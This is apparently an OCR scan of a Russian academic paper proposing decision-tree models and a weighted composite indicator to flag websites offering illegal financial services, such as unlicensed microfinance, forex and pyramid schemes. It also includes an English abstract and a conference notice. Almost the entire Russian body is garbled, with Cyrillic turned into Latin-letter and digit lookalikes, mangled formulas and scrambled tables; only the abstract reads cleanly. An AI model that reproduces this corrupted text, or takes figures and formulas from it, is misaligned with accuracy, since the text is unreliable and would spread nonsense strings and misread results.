Bce kputepuu npoBepKU HejlerajibHOCTH DUHAH-
COBOI1 AEeSITEeNbHOCTU pecypcoB B ceTn MHTepHeT
MOXHO pa3aejnTh Ha Tpu TuIia [24]:

1) npsamvie — 8 KpUTEPUEB;

2) KoceenHbvle — 27 KPUTEPUECB;

3) mpan3umueHvle — 2 KpUTEPUS.

Kpumepuu nepeoeo muna ofHO3Ha4YHO U hopMaib-
HO yCTaHaBJMBAIOT (akT HeJIeraJbHOCTU MPOBEPSsi-
€MOT0 IOPUINYECKOTO JIMIAa MW WHIWBUAYAJIBHO-
ro npennpunumarens (WUIT). Hanpumep, Kk Takum
KPUTEPUSIM OTHOCUTCS MpOBEpKa perucTpaluu

opuanyeckoro auua no ETPIOJI/ETPUIT! u Ha-
JIMYUE Yy OpraHu3alMu JIMIEH3UU Ha OCYIIECTBJIC-
Hue (uHaHCcOBOM AesTeabHOCTU. OTHAKO HE Bcerma
BBITMTOJIHSIIOTCSI TPEOOBAHUSI IO Pa3MEIEHUI0 HE00-
XonMMoO#N MHOOpMaUMU AJs1 YCTAHOBJEHUS CBSI3U
MEXAY MHTEPHET-pecypcoM U OeHepulumapoM, Co-
OTBETCTBEHHO, HEBO3MOXHO MPUMEHUTb KPUTEPUU
MepBOro THUIIA.

MollleHHUKHA MOTYT pa3MeCTUTh Ha caiiTe 3auM-
CTBOBaHHbIE CBEIEHUS O JieTaJlbHOM y4YacTHUKE (Pu-
HAHCOBOI'O PbIHKA, YTO AEJACT Pe3yJbTaT MPOBEPOK
HEIOCTOBEPHBIM. B Takux cuTyanusx 1eaecoobpa3Ho
BOCIIOJIb30BAaTbCSl KPUTEPUSIMU, KOCEEHHO YKA3bIBAlO-
IUMU Ha HegoOpocoBecTHOCTh pecypca. K HUM mo-
>KeT OTHOCHUTBCSI, HaIlpuMep, 3apyO0eKHbII1 XOCTUHT
caiita. K TakoMy XOCTMHTY 4acTO MpUOEraroT Mo-
IIeHHUKW I 3aTpyJHEHUs Mmpoliecca 0JOKMPOBKU
UX JesITeIbHOCTH.

Tpan3umuerbiMu IBISIIOTCS KDUTEPU U, HATIPSIMYIO
HE YyKa3blBalolllMe Ha HEJEraJbHOCTb e TEIbHOCTH,
OIHAKO OT HUX 3aBUCUT BO3MOXHOCTb CpabaThiBa-
HUS KpUTEpUEB Apyroro tumna. Hampumep, mpu ort-
CYTCTBUMM PEKBU3UTOB HEBO3MOXHA MPOBEPKA COOT-
BETCTBUS NESITEIbHOCTH IOPUINUYECKOTO Ml 3as1B-
JICHHBIM (PMHAHCOBBIM YCIIyTaM.

®parMeHT IepevyHsI KpUTEepUEB HeJIeTaJlbHOCTU
(¢UHAHCOBOM AeSITEIbHOCTU MpeacTaBjeH B TadJ. 1.

HMcrnonb3ys rpynnsl KpuTepueB, XapaKTepusy-
IOLIMX WHTEPHET-PECYPC, MOXHO C OINpeacIeHHON
JIOJIEll BEPOSITHOCTU ONPENEIUTh HEJIEraJbHOCTh €T0
(¢rHaHCcoBOM nesTenbHOCTU. OTHO3HAYHOE 3aKJII0Ue-
HUE O 3TOMY BOIPOCY MOXET JaTh TOJbKO 9KCHEPT
B MPEAMETHOM 00JIaCTU, KOTOPBIM Ha 3aKJIIOUYUTEb-
HOM 3Tarne MpoBepsieT HauboJsiee MPUOPUTETHBIE pe-
CypChl U3 OrpaHUYEHHOro cnucka. [loaTomy MOXHO
CUMTaTh, YTO paccMaTpuBaeMasi CUCTEMa KPUTEPUEB
OLICHWBAaHU S HEJIETAJIbHOCTU OKA3bIBAEMbBIX YCIIYT BbI-
CTyIaeT B KaYeCTBE CUCTEMbI MOAAECPKKU MPUHSTUS
pelieHus aKcrepToM. st MpuMeHEHUsI KPUTEpUEB
HeobxoanMa MaTeMaThudeckKasi MOJIeJib, YUUThIBAIOIIAs
TUNBI U BEC KaXJ0ro KpUTepuUs.

s paHXUPOBAHUS KPUTEPUEB MO UX BIAUSIHUIO
Ha BEPOSITHOCTb HeJIeraJJbHOCTU pecypca MOTyT ObITh
MPUMEHEHBI pa3JIMYHbIE METOIbI MAIIMHHOTO O0Yy-
YeHUsl, KjJaccCupuuupyrommue pecypcol Mo ux Habo-
DY Kpumepueg: NepPeBbs PEUICHUM, CIIyYallHBIA JieC.
C MOMOIIIBIO pelllalouX MPaBU, HOCTPOSHHBIX IS
Habopa He3aBUCUMBIX IEPEMEHHBIX, BCSI BBIOOpKA
pa3buBaeTcs Ha y3Jibl B BUJE JPEBOBUAHOU Hepap-
XUYECKOU cTpyKTyphl. [Ipu mocTpoeHuu aepesa pe-
IIEHU A HE3aBUCUMBIE TTIEPEMEHHBIE PAHXXUPYIOTCS IO

UErPIOJNT — Epnubiit TOCYIApCTBEHHBI peecTp Iopuauye-
ckux nguu; ETPUIl — EnuHbll rocygapcTBEHHBIN peecTp UHAU-
BUAYaJbHBIX MPEeANPUHUMATETEH.
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Tabauya 1

@DparmMeHT Bbl/IeJIEHHBIX KPUTEPHEB

ITpsmbie

IIpoBepka nuuensuu LIb P® Ha Hanuyue, MOAJIMHHOCTb U CPOK NCHCTBUSI;
nmpoBepKa cBeaeHuil o komnanuu B ET'PIOJT;

obelllaHue CBEPXJA0XOJHOCTH MHBECTHULINIA;

IIpoBepKa BUIa AesiTeIbHOCTH opranu3zanuu mo OKB3/I*;

MpeaocTaBjieHUe 3aiiMa Mo CTaBKaM, OTIMYAIOLIMUMCSI OT HOPMaJIU MO PhIHKY

KocBennnle

BrIcokast TOJIST HETATUBHBIX OT3BIBOB;

y4peauTesb/pPyKOBOAUTEb MACCOBBIN PETUCTPATOP;

oduIopHas perucTpamus opraHu3alum;

HaJW4Yue TPeABAaPUTENbHBIX (CIIEI[HaJbHBIX) B3HOCOB;

yKa3aHue Ha BBITOAHBIE YCIOBMS WJIM YCIOBHUSI, 3HAUUTEIBHO OTJIUYAIOIINECS OT PHIHOYHBIX

TpaH3uTUBHBIE

OTcyTcTBUE MyOIMKAIIMY YUYPEAUTETbHBIX TOKYMEHTOB;
OTCYTCTBUE KOHTAKTHOU MHMOpMALIUK

* OKBB/ — O6uepoccuiickuil kjiaccudukaTop BUAOB IKOHOMUYECKON NesITeIbHOCTH.

3HAYUMMOCTH HE3aBUCUMBIX MpaBujl. C NOMOIIbIO 3TUX
METOJIOB IpejiaraeTcst 0oToOpaTh BaXHble KPUTEPU U,
3HAUMMBbIE IJISI OMpeAesieHUs LEeIeBbhIX U HeleIeBhIX
WHTEePHET-PeCcCypCcoB.

B kauecTBe 3aBUCUMOII MepeMEHHOU BBICTyMHaeT
pa3MeTKa MHTepPHET-PEeCYpCOB Ha lieJeBbie U Helle-
neBble. [TapameTpaMu B MOJENIM BBHICTYIIAIOT 3HAUYE-
Husi KputepueB. C yyeToMm 3HaueHuit 37 KpuTepu-
€B HeJIeTaJIbHOCTU pecypca BbIOpaHbl aJrOPUTMBbI
MAaIllMHHOTO OOYYEeHUST MeTOoAa JePEeBbhEB pPelIeHUI
QUEST, CHAID. BT anropuTMbl ObIJIU BbIOpaHbI
I pellleHUs], TaK KaK OHU yIOBJETBOPSIOT CJe-
OYIOLIMM YCIOBUSIM: B KaUeCTBE 3aBUCUMOM MOXKHO
HCITOJIb30BaTh KaK Ka4eCTBEHHBIE, TAK W KOJIMYE-
CTBEHHDbIE NMEpEeMEeHHbBIE, TaKXe MPEeUMYIIEeCTBO Me-
TONOB B OBICTPOM BBIYMCJICHUM AJIs1 OOJBIION pa3-
MEpPHOCTH TaHHBIX.

CyTb 3TUX aJITOPUTMOB — pa3dueHue, OCHOBAaH-
HOE Ha HEKOTOPOI MeTpUuKe (HarpuMep, Xu-KBajapar),
MO3BOJISIONIEH 1JIsi KaTeropuaJbHONM 3aBUCUMON Me-
peMeHHOM (1IeJIeBOi/HelleIeBOM MHTEePHET-pecypc)
U HECKOJIbKMX HEe3aBUCUMBIX MEPEMEHHBIX (MTpeauK-
TOPOB) BBISIBUTH (haKTOpbI, HAMJYYIIUM 0Opazom
OOBSICHSIOIINE PA3INYMS MEXIY KaTerOpUsIMU 3a-
BUCUMOM NepeMeHHOl (HarmpuMep, BblAEASIeT TPYyIbl
C HaMOOJbIIMM U HAUMEHBIIIUM MPOLEHTOM LieJIEBbIX
MHTEpHET-pecypcoB). Haunyullee pelieHre HaXoasT
C MOMOIIBI0O MAKCUMU3ALUHU PA3TUYUN MEXAY TPYyTI-
naMu myTeM Iepedopa Bcex MpeaAuKTOpoB. Pe3yib-
TaTOM SIBJISIETCSl IepeBO KJaccudukanuu — Habop
MOCJIEAOBATEILHO BBIICJIEHHBIX MOATPYII C HAUOOJIb-
LIMMU pa3aInuusIMU LieJIEeBOM MepeMeHHO (Harpumep,
TPYMIIBI C MAKCUMAJIbHBIM U MUHUMaJIbHBIM IPOLIEH-
TOM IIEJIEBBIX MHTEPHET-PECYypPCOB). DTO IO3BOJISIET
OIpeaeIuTh, COUeTaHUe KaKUX MPU3HAKOB CUJIbHEE
BCEro BAMSIET Ha LIeJIEBYIO IIEPEMEHH Y10, a TaKKe Hali-
TU HauboJsiee MEePCIEeKTUBHBIC 1I€JIeBbIE IPYIIIIbI.

MareMaTnueckK1 MOXHO c(pOpMyaIMpOBaTh 3a0a4y
cllefylolM oOpa3oM: pellawllee AepeBo a(x) pas-
OMBaeT Bce MPOCTPAHCTBO NMPU3HAKOB Ha HEKOTOPOE
YHCJIO HEMEPECEKAIOIIMNXCSA MTOIMHOXECTB {J), ..., J,},
¥ B KaXIOM MOIMHOXeCTBe J; BbIIaeT KOHCTAHTHBII
IIPOTHO3 W:

a(x):zn:wj [xel;].
j=l

B pamMkax gaHHOro uccjieaoBaHUS MPOBEPEHBI
MPOTrHOCTUYECKNE BO3MOXHOCTU BBIOpAHHBIX Me-
TOJIOB KJaccubUKaALMU IS KaXA0TO TUIIA pecyp-
coB. B pesynbTaTe ObLIM ONpeneseHbl ONTUMAaJbHbIE
aJITOPUTMBI U ONITUMAJIbHbIC J€PEBbsI PELICHUM AJs
KaXKJoro TUIma pecypca.

s pellleHUsT TTOCTaBJIEHHOW 3a1auu, B OTIUYHE
OT PacCMOTPEHHBIX paHee paboT, B JaHHOI paboTe
MpeaJIoKeH MOAX0J K MOCTPOEHUIO KOMITJIEKCHOIO
WHAMKATOpPa OLEHKU BEPOSITHOCTU HeJIeTaJbHOM Ae-
SITeJIbHOCTU WHTEepHEeT-pecypca. g moCTpoeHu s
MaTeMaTU4yecKoil MOJeIu HUCHOJIb3YIOT OTKPbIThIE
CBeIeHMsI 00 MHTEPHET-pecypce — KOHTEHT U Me-
TagaHHble caliTa. KOHTEHTOM SIBIISIETCS TEKCTOBOE
CONEePKMMOE, KAPTUHKU U TOKYMEHTbI, MpeacTaB-
JIeHHbIE HAa UHTEepHEeT-pecypce. MeTagaHHbIe Mpea-
CTaBISAIOT cO00i MHpopManro 00 MHTEpPHET-pe-
cypce, HampuMep, toMeHHoe ums, IP-angpec, mary
peructpauuu goMeHa. JIjas olLleHKH BEpOSTHOCTU
HeJlerajbHON NesITeJIbHOCTU COOpaH W MpoaHasu-
3UpOBaH 00JbIION 00beM JaHHBIX U3 ceTu MHTep-
HeT. JIns npuMeHeHUs KpUTepUeB K HallIeHHbBIM
WHTEpHET-pecypcaM MCIOJb30BAJU aJTOPUTMMU-
YeCKMEe METOIbl U METOIbl MAIIMHHOTO OOYUYEeHUSI.
Ha ocHoBe nmonydyeHHON UH(pOpMaLMKU NOCTpoeHa
MaTeMaTuyeckasi MoJesb IIKaJbl KOMIIJIEKCHOTO
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3. OueHKa BepOATHOCTU HerneranbHoOm
¢omHaHCOBOM AeATENIbHOCTU C MOMOLLbLIO
mMaTemMaTnyeckon mogenu

Hns pacyeTa LIKaJbl KOMIIJIEKCHOTO MHIMKA-
Topa [25] oUeHKU BEpPOSITHOCTU HEJIeTaJlbHOU Hesi-
TEJIBHOCTU TIpeAjiaraeTcsl MaTeMaTuuyeckash MOIelb,
00BEKTOM YIpaBJIEeHUSI KOTOPOW SIBJISIETCS MHTEP-
HeT-pecypc. Y Kaxaoro oobekTa BbIACISIIOTCS Ye-
ThIpe KOMIIOHEHThI, OCHOBAHHbIE Ha TpeX I'pymmax
KpUTEpUEB U pe3ysibTaTe MPOrHo3a HejaeraibHOCTU
pecypca, MOJIyYEHHOTO ¢ MTOMOLIbIO IepeEBa PELIEHUA.

O603HAaYMM ¢; — 3HAYEHUE KPUTEPUS F ISl 00b-
eKkTa ynpasiieHus j. Ecnu kputepuii cpaboral, To 3Ha-
yeHue KkpuTepus paBHo 1, ecau HeT — 0. JIJ1s1 Kax10ro
KJlacca 00beKTa, ONMMCAHHOIO B pasi. 1, ompeaeneH
CBOM Habop kpumepues. Harmpumep, eciu y o0ObeKTa
kJacc omnpenesneH Kak M®PO, To 111 HETO He pacCuu-
TBIBAIOTCSI KPUTEPUHN APYTUX KijaccoB. Beero takux
Kkaaccoe 00bekTa (class;) MATh:

1) MDO;

2) BIC;

3) dopekc;

4) IMupamuna;

5) TIC.

Hst Kaxaoro oobekTa ynpanaeHUs: GopMupyeTcs
MHOXECTBO 3HAUEHM €ro KOMIIOHEHT CJeAYIOIUM
oOpa3oM:

Komnonenra 1 (k;) moxkaspiBaeT, 4TO cpaboTal
000K KpUTEpUil, IBHO YKa3bIBalOIIUIA Ha HeJe-
rajbHOCTb 00BbeKTa ynpaBieHUsl. KoMnoHeHTa £
NpUHUMAaET 3HaYeHue | pu yCI0BUU, €CU XOTsI Obl
OIHO U3 ¢; = 1, T1I€ r BXOAUT BO MHOXECTBO MPAMBbIX
kputepueB. B unom ciyuvae k; = 0.

KomnoneHTa 2 (k,) yka3plBaeT Ha ypOBEHb HEJe-
raJlJbHOCTU 00BbEKTa, OCHOBAHHBII TOJIBKO HAa KOCBEH-
HBIX KPUTEPUSX, TOBTOMY HOCUT BCIIOMOTaTeJbHbIi
xapakTtep. KoMmoHeHTa k, ompenensieTcsd CyMMON
cpaboTaBIIUX 3HAYCHU KPUTEPUEB, BXOASIIIUX BO
MHOXECTBO KOCBEHHBIX B COOTBETCTBUM C KAACCOM
ob6sexma. TlonydyeHHOE 3HaYeHHUE HOPMAJIU3YeTCS
C TIOMOIIIbIO eJIeHUsI Ha MaKCUMaJIbHOEe 3HauyeHUe
CYMMBI CPa0OTaBUIUX KPUTEPUEB:

m

p
S
ky = =

2 5

maxX’q" |class ;
rae m — oOllee YUCIO MPOBEPSIEMBIX KPUTEPUEB
(1 <m<37).

CnenoBatenbHo, 0 <k, <1. boxpuioe 3HaueHue
KOMIIOHEHTHI Kk, TTOKA3bIBAET, YTO JAHHBIA OOBEKT
HeJIb3s OCTaBJATb 0e3 BHUMaHUS 3Kcnepra. [Ipu-
MEHEHHE 3TOH KOMIIOHEHTBI HEOOXOAMMO, TaK KakK

B cJydYae OTCYTCTBHS TMPAMBIX KPUTEPHUEB HYXKHO
JaTh OLICHKY O0BEKTY MJIM MOAKPENUTh YBEPEHHOCTb
B HeJIeraJbHOCTU O0BEKTa, €CJIM CpaboTaliu IIpsSIMbIe
KPUTEPUM.

KommnonenTa 3 (k;) ocHoBaHa Ha cpabaTblBaHUU
TPaH3UTUBHBIX KpuTepueB. KoMIoHeHTa TakXe SIB-
JISIETCST BCTIOMOTATEIbHOM M IMOKa3bIBaeT, YTO OTCYT-
CTBYeT HeoOxoaumMasi UH(hOpMaLMs sl IPUMEHEHU ST
MPpSIMBIX M KOCBEHHBIX KpuTepueB. BaxxHas nHdopma-
uus o6 oowvekte, Takass kak MHH, OI'PH, naumeHo-
BaHMeE I0p. ML U T. Il. MOXET ObITh HE YKa3aHa UJIKU
ClelMaJbHO CKPbIBAThCS, UYTO JeJaeT 0OBEKT MO0~
3PUTEIBHBIM, TaK KaK HEBO3MOXKHA TOUHAsI aBTOMAaTH -
3MpOBaHHas MPOBEpKa HEJIeraJbHOCTU U HEOOXonuma
9KCIepTHas OlleHKa nesaTeabHoCcTU. KoMmoHeHTa k;
MpUHUMaeT 3HaueHue 1 MpH yCIOBUM, €CIU XOTs Obl
OlHO M3 ¢; = I, rie r BXOAUT BO MHOXECTBO TPaH-
3UTUBHBIX KpuTepueB. Eciu He cpaboTand HU OOUH
TPaH3UTUBHBIN KpUTEpUii, TO k; = 0.

KomrnoHeHTa 4 (ky;) mpeacTaBisieT 3HaYeHUe 1Ka-
JIbl BEPOSITHOCTU HeJieTaJlbHOCTU 00beKTa, OCHO-
BaHHOE Ha METONE NEePEBbEB PELICHUI, OMMCAHHOM
B pa3a. 2. KomnoHeHTa BKIIOUaeT B cebs BCe TPYIIBI
KPUTEPUEB B 3aBUCUMOCTH OT OIpPeIeIEHHOTO KJIac-
ca oobekTa. [lIkana npuHuMaet nBa 3HaueHus (0, 1)
B 3aBUCMMOCTHU OT IIPOTHO3UPYeMOit BeposiTHOCTHU (P)
HeJIETaJIbHOCTH M TIOPOTOBOr'0 3HAYCHM ST, YCTAHOBJICH-
HOTO JJISI KaXJI0To Kjacca 00ObEeKTOB:

e Huskag (0): P(Y=1) < S

e Boicokasg (1): P(Y=1) > S,
rae S — MnoporoBoe 3HauYeHUe JJisi OTCEUYEHMSI BEpo-
SITHOCTU HeJIeraJbHOCTH, OIpeaesisieMoe Ha OCHOBE
MUWHMMU3ALMU OLIMOOK MEPBOro U BTOpOro poaa; ¥ —
Mpu3HaK HejerajbHocTU (Y = 1) uau neraibHOCTU
(Y= 0) pecypca.

Ha ocHoBe moJiyuyeHHbIX 3HaYeHUI KOMITOHEHT
onpejensaeTcs Z; — 3HauYeHUe KOMIUIEKCHOTO MH[IM-
KaTtopa BepOSITHOCTHU HeJlerajJbHOCTU 00beKTa yIpaB-
JIEHUS:

Z; = F(kyjky ks jky ;|class ;= m), tne m = {1:5},

F — 510 PyHK1MA, 00bENNHAIOIAd pa3paboTaH-
Hble KOMIIOHEHTHI, IIpeICTaBICHHAsA JIMHENHON PyHK-
Luei ¢ BecaMu o,

4
Z/:F(kﬁ):Zky * ;. ey
i=1

IIpennoxeHHass KOHLEMLMS alipoOMpoBaHa JJis
OLIEHKM BEPOSITHOCTH HEJIETaJIbHOCTU 5619 MHTEepHET-
pecypcoB, HalJleHHBIX MOCPEACTBOM TEMATUYECKUX
MMOMCKOBBIX 3alIpOCOB. MHTEepHET-PeCYPChI pa3aeieHbl
Ha 1eJieBble (MMEIolMe MPU3HAKKM HejleraJibHOM Je-
ATENBHOCTN) U HelleJeBble (MMEIOIINe KOHTEHT, OT-
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HOCSIIIMICS K TaHHOU TeMaTuKe, HO He MMeIolue
MPU3HAKOB HE3aKOHHOM AeSITeIbHOCTH). YMCcio Takmux
WHTEPHET-PECYPCOB B 3aBUCMMOCTH OT THUIIA TpEJ-
CTaBJIeHO B TaOi. 2.

Tabauya 2
Yuci0 HHTEPHET-PeCypPCcoB
Tun pecypca HeueneBnbie IleneBbie
9aC 682 227
®dopexkc 214 168
M®O 1746 531
rnc 367 65
IMupamuga 587 1032
HUTOro 3596 2023

Ha ocHoBe poBeleHHOTO aHaJIn3a MHTEPHET-pe-
CYPCOB pacCUMTaHBI YeTHIpe KOMITOHEHTHI, OMpee-
JIeHBI Beca, OTpaxalollue COOTHOLIeHUE BaXXHOCTU
KOMITOHEHT MeXJy coDo0ii, a TaKKe IMoJIyueHa 1Kaja
KOMITJIEKCHOTO MHAMKaTopa, OTpaxatlasi BEpOsIT-
HOCTb HeJIeraJbHOCTHU pecypca.

Beca xommioHeHT B popmyie (1):

o Tepen k;, o =0,4;

o mepen ky;, o, =0,2;

o mepen k;;, w; =0,2;

o Tepen ky;, o, =0,2.

IIIkana KOMIJIEKCHOTO MHAMKATOPa BEPOSITHOCTHU
HeJIeraJbHOCTHU pecypca:

1) Huskas: Z; <0,2;

2) cpennsas: 0,2< Z; <0,6;

3) Boicokast: Z; > 0,6.

Bricokoe 3HayeHHEe KOMILJIEKCHOIO MHAMKATOpa
FOBOPUT O TOM, UTO Ha JaHHBbIE PECYpPChI ClenyeT
0o0paTuTh BHUMaHUE 3KCIEepTa B MEPBYIO ouyepelb.
CpenHee 3HaYeHUE KOMIIJIEKCHOIO MHAMKATOpA yKa-
3bIBa€T HA HEBO3MOXHOCTh OMTHO3HAYHOTO aBTOMATH-
3MPOBAHHOIO OIpeAeeHU S HeJleraJlbHOCTU pecypca,
MO2TOMY NPUHSITHUE PELIEHUS OCTAETCS 3a IKCIIEPTOM.
IIpu HU3KOM 3HAYEHU M MOXKHO YTBEpPXKIaTh, UTO pe-
Cypc JieraJieH.

OO61i1as omnbka Kiaaccudukanuu (onmoKa nepBoro
pona) He npeBbicuia 20 % aJst Bcex TUTIOB PECYPCOB.

I[IpuMepsl UHTEPHET-PECYPCOB C BBICOKOI BEpO-
SITHOCTbBIO HeJlerajbHON AeITeIbHOCTU MPUBEAEHbI
B Tabi. 3.

B Ta6:1. 4 nmpeacraBieHO 3aKIIOYECHIE CIIeIIAATNCTA
B IMPEeIMETHOM 00J1aCTU OTHOCUTEIBHO HeJleraibHOCTU
OTOOpPaHHBIX MHTEPHET-PECYPCOB MO COCTOSIHUIO Ha
uioHb 2021 r. Kak BUAHO U3 JaHHBIX TaOJULBI, pe-
3yJIbTaThl alpobaliuu pa3padboTaHHOW MOMENN Ha Bbl-
0OpKe 13 TpexX UHTEePHET-PeCypCcOB MOATBEPXKIAIOTCS
SKCIEPTHOM OLIEHKOM.

B 3aBucumocTu ot TMna uHTepHeT-pecypca (MDO,
IMupamuga, ®opekc, I1C 1 B/IC) BepoITHOCTH Helle-

Tabauya 3
HNHTepHET-pecypchbl ¢ BHICOKOI BEPOATHOCTHIO HEJIETaJbHOCTH
HWHTepHeT-pecypc ST Tun
P pecype, KommnionenTa 1 | KommonenTa 2 | KommonenTta 3 | KommoHeHTa 4 | KOMITJIEKCHOTO
IOMEH pecypca
MHIMKATOpa
wforex.com 1 0,333 1 1 3 Ddopekc
vk.com/dengi_sumom 1 0,111 1 1 3 IMupamuaa
instagram.com/kredit_online_kaz 1 0,0741 1 1 3 M®O
Tabauya 4

DKcnepTHOEe MHEHHE CNEeNMAINCTAa OTHOCHUTEIbHO HEJIErajJbHOCTH BHIOOPKH HHTEPHET-PECypPCoB

WHTepHeT-pecype,
JIOMEH

Tun pecypca

BKCHepTHOC MHCEHUEC

wforex.com Dopekc

Ha caiiTe nmpencraBjieH CEpBUC MO MPOBEIEHUI0 KOHBEPCUOHHBIX (OOMEHHBIX)
omnepanuii Ha BaJIOTHOM pbiHKe Forex. [lesiTeTbHOCTD OCYIIECTBISETCS
6e3 nuuen3uu llenTpanbHoro 6anka PO

vk.com/dengi_sumom Mupamuna

Ha ctpanuue npeacraBieHsl yeayru Komnanun Finiko, koTopast BHeceHa
LentpanbHbiM 6aHKoM P® B cMCOK KOMITAHUI ¢ IpU3HaAKaMu (PMHAHCOBOM

nupaMuabl

instagram.com/kredit_online_kaz

M®O

Ha ctpaHule npeacraBieHa MUKpodUHAHCOBasi OpraHu3alus,

OCYIIECTBJSIOLIAs] BbIAAYY KPEAUTOB (PU3MUYECKUM JMLaM 0e3 JTMLUEH3UU

banka Poccun
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TaJIbHOCTU pacCYMTaHA pa3IMUYHBIMUA aJITOPUTMaMH.
O M®DO ucnonb3yercs anroputm QUEST, nis Bcex
octajabHbIX TUIIOB - CHAID.

BrIsiBIeHBI pasiMuHble KPUTEPUU HanuboJjiee Bak-
HbIe AJ181 KJaccuduKaluu UHTePHET-peCypCoB:

e IS pecypcoB, oTHocsamuxcst K MPO, - ripeno-
cTaBjieHUE 3aiiMa 10 MUHUMaJbHOMY HabOpy JOKY-
MEHTOB;

e ISl pecypcoB, oTHocsiuxcsl K [Tupamumam,-
obelllaHue BHICOKOU JOXOMIHOCTH;

e IIJIST pecypcoB, oTHocsmnxcs K dopeke, — oT-
CYTCTBUE YBEIOMJICHUS MO PUCKaM;

e JIJISI UHTEPHET-PECYPCOB, OTHOCSIIIMXCS K IJ1a-
TEXHBIM CUCTEMaM U 3JIEKTPOHHBIM JEHEXXHBIM Cpe/l-
CTBaM, - KOPOTKMI mepuon AesATeIbHOCTA OpraHu-
3aluMn.

OnHUM U3 Pe3yJILTATOB MOJIEIMPOBAHUS SIBIISIETCS
CITMCOK MTPOaHaJIM3NPOBAHHBIX WHTEPHET-PECYPCOB,
OTCOPTUPOBAHHBIN 1O yOBIBAHUIO 3HAYEHUII KOM-
MJIEKCHOTO MHAMKATOpPA U XapaKTepU3YIOIINIA YMEHb-
IIeHWe BEePOSITHOCTHU HeJeTaJbHOCTH.

3aknrvyeHune

IIpoGaema MHTEpHET-MOIIIEHHUYECTBA B cepe
(pvHAHCOBBIX YCAYT B IMOCJAEAHNUE TOAbl MPUBJIEKAET
BCe 00JIbllle BHUMAHUSI CO CTOPOHBI KOHTPOJUPYIO-
IIMX OpraHOB. Peanmu3yloTcs pa3IUuYHBIC MMOIXOMbI
U METOIbI IJIs1 BBISIBJEHUS TaKUX PECypCcoOB: KOH-
TEKCTHBII MOMCK, OTCIEXUBaHUE PEKJIAMHbBIX 00b-
SIBJICHUM U OP.

B paGoTe nmpenioxeHa MoAeNb AJS1 BbISIBICHU S
MPU3HAKOB HeJlIeraJbHOCTU MHTEPHET-pecypca ¢ Io-
MOILIbIO aJITOPUTMA MOCTPOEHU ST KOMITJIEKCHOTO MH-
nukaropa. Ilpemmaraercsl pacCYUTHIBAaTh KOMILIEKC-
HBIMI MHOIMKATOP KaK CYMMY YeTBhIPEX KOMITOHEHT.
KoMMnoHeHTHl MHAMKATOPA OCHOBaHbI HA KPUTEPUSIX,
MOJIYYEHHBIX B TIpOLIeCCe UCCIEeI0BAHMS TPEAMETHOMN
o0JacTu.

Pa3zpaboTanHass mMomenb ampoOupoBaHa Ha
5619 uHTEepHET-pecypcax, BhISIBICHHBIX B pe3yJibTa-
T¢ aBTOMaTU3MPOBAHHOTO MOHMTOPUHTA, TOJTYYECHBI
KOJIMYECTBEHHbBIE OLIEHKHU OIIMOO0K KJacCudUKaInu,
MpoaHaJU3UPOBAHbI OTACIbHbIE PE3YJIbTaThI.

IIpenmyIiecTBOM IIpeaaraeMoro moaxofa siBis-
€TCsI BOBMOXHOCTb OCYIIECTBJIEHWS aBTOMaTU3UPO-
BaHHOI MPOBEPKU HeJEraJbHOCTU MHTEPHET-pecypca
B LIEJISIX YCKOPEHU S MPUHSITUS pellieHUs Crielaiu-
CTOM B TIpeIMETHOU obyacTu.

IIpennoxxeHHast Ha OCHOBE aHajlM3a OTKPBITHIX
CTPYKTYPUPOBAHHBIX U HECTPYKTYPUPOBAHHBIX JaH-
HBIX KOHIIEIIIMS OIIEHKU BEPOSITHOCTU HeJleraJibHO-
CTU WHTEepHeT-pecypca IMo3BOoJsieT Kaaccupuuupo-
BaTb PECYPChI MO CTENEHU MPU3HAKOB HeJIeraJbHOCTU

U BIIOCJIEICTBUM TPUMEHUTH IPEBEHTUBHBIE MEPHI CO
CTOPOHBI HAJA30PHOr0 OpraHa JiJisi CHUXXEHU ST PUCKOB
BOBJICUCHU S TpakaaH U OpraHU3alNii B HE3aKOHHYIO
eI TeIbHOCTD.
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The widespread digitalization of the modern society and the development of information technology have increased
the number of methods of interaction between financial institutions and potential consumers of financial services. At the
same time, the advent of new financial products inevitably leads to an increase in threats, and the use of information
technology facilitates the continuous "improvement" of fraudulent schemes and unfair services that negatively impact
both the financial market as a whole and its individual participants, such as financial institutions and their clients.

Due to the development of modern society, most financial transactions have moved to the Internet, including the
fraudulent ones. When services are provided remotely, it is more difficult to trace and prosecute the beneficiary, but
there are still ways to stop fraudulent activity. They can be characterized as labour-consuming, as the monitoring
and analysis of huge amounts of unstructured information (BigData) located on the Internet take great amount of
time and effort. The solution to detecting illegal activity in the financial market is based on open data intelligence, the
application of machine learning methods and systems analysis techniques.

The article examines the types of financial services provided on the Internet, among which fraudulent activities
are most common. In order to identify illegal financial services, criteria are identified and grouped according to their
contribution to the decision-making process. The main result of the study is the construction of the scale of a com-
plex indicator, which is used to develop a mathematical model based on the selected criteria and machine learning
methods to identify the extent of illegality of financial services provided on the Internet.

Keywords: counteraction to unfair practices, financial services, Internet fraud, machine learning,
system analysis, mathematical model, big data, complex indicator, open data analysis, Internet monitoring
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BCEPOCCUNCKAA HAYYHAA KOHOEPEHUWA

HAYYHbIA CEPBUC B CETU MHTEPHET

HNucturyT npukiaagnoi martematuka uM. M.B. Keaasima PAH

npoBouT ¢ 19 1o 23 centsops 2022 r. XXIV Beepoccuiickyio KoHPEPEHITHIO
HAYYHDBIN CEPBUC B CETU UHTEPHET

KoHuepentus mocssineHa HapaBICHUSIM W TSHACHIIASIM HUCIIOJIb30BaHUS HHTEPHET-TEXHOJIOT U
B COBPEMEHHBIX HAyUYHBIX UccienoBanusx. OCHOBHas 11eJ1b KOH(DEPEHITNH — MPeI0CTaBUTh ‘
BO3MOYKHOCTH JIJIsl OOCY KICHHSI, arpoOariy 1 0OMeHa MHEHUSIMU O Hanboiee 3HAaYUMBIX / v
pe3yJibTarax, MOJyYeHHBIX BEAYITUMH POCCHUCKIMHE YYCHBIMH 3a TOCJICTHEeE BPpeMs B IAHHOM ‘ ‘
00JIaCTH NEATELHOCTH

-

|

TemaTnka koHdepeHIHA

e HayuHsble HcciieIoBaHUS M HHTEPHET, HHTEPHET-TIPEICTABUTENILCTBO HAY YHBIX
OpraHu3aIui 1 IpPOEKTOB

e Pemenue 3a1a4 1 06pabOTKa JaHHBIX HA CYNIEPKOMIBIOTEpaX IIEHTPOB KOJIJIEKTUBHOTO
HOJTH30BaHHS

e llHTEpHET-IPOEKTHI B 00JACTH NMapaIeIbHbIX BBIUUCICHUN, MATEMAaTUYECKOE
MOJIEJIMPOBAHUE, BEIUUCIIUTEIIbHBIE CEPBUCHI

